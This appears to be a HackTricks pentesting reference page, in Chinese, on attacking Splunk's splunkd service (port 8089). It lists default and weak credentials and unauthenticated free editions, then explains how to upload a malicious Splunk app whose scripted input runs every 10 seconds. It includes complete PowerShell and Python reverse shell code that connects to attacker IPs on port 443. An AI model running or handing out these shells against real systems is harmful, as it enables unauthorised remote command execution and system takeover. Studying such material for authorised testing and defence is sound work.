8089 - Pentesting Splunkd

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

  • 用于数据收集、分析和可视化的日志分析工具
  • 常用于安全监控和商业分析
  • 默认端口:
  • Web 服务器:8000
  • Splunkd 服务:8089

漏洞向量:

  1. 免费版本利用
  • 试用版在 60 天后自动转换为免费版
  • 免费版缺乏身份验证
  • 如果不加以管理,可能存在安全风险
  • 管理员可能会忽视安全隐患
  1. 凭证弱点
  • 旧版本:默认凭证 admin:changeme
  • 新版本:安装时设置凭证
  • 可能使用弱密码(例如,adminWelcomePassword123
  1. 远程代码执行机会
  • 多种代码执行方法:
  • 服务器端 Django 应用
  • REST 端点
  • 脚本输入
  • 警报脚本
  • 跨平台支持(Windows/Linux)
  • 脚本输入可以运行:
  • Bash 脚本
  • PowerShell 脚本
  • 批处理脚本

关键利用潜力:

  • 敏感数据存储
  • 免费版缺乏身份验证
  • 多个潜在远程代码执行的向量
  • 利用脚本输入进行系统妥协的可能性

Shodan

  • Splunk build

RCE

创建自定义应用

Splunk 提供了一种通过自定义应用部署进行远程代码执行的复杂方法,利用其跨平台脚本能力。核心利用技术围绕创建一个恶意应用,该应用可以在 Windows 和 Linux 系统上执行反向 shell。

自定义应用可以运行 Python、Batch、Bash 或 PowerShell 脚本。此外,Splunk 自带 Python,因此即使在 Windows 系统上也能运行 Python 代码。

您可以使用 这个 示例,其中 bin 包含 PythonPowerShell 的示例。或者您可以创建自己的。

利用过程在各个平台上遵循一致的方法论:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

关键配置文件 inputs.conf 通过以下方式启用脚本:

  • 设置 disabled = 0
  • 配置 10 秒的执行间隔
  • 定义脚本的源类型

部署很简单:

  1. 创建恶意应用程序包
  2. 在攻击机器上设置监听器 (Netcat/socat)
  3. 通过 Splunk 的界面上传应用程序
  4. 在上传时触发自动脚本执行

示例 Windows PowerShell 反向 shell:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

示例 Linux Python 反向 shell:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & 权限提升

在以下页面中,您可以找到有关如何滥用此服务以提升权限和获得持久性的解释:

Splunk LPE and Persistence

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks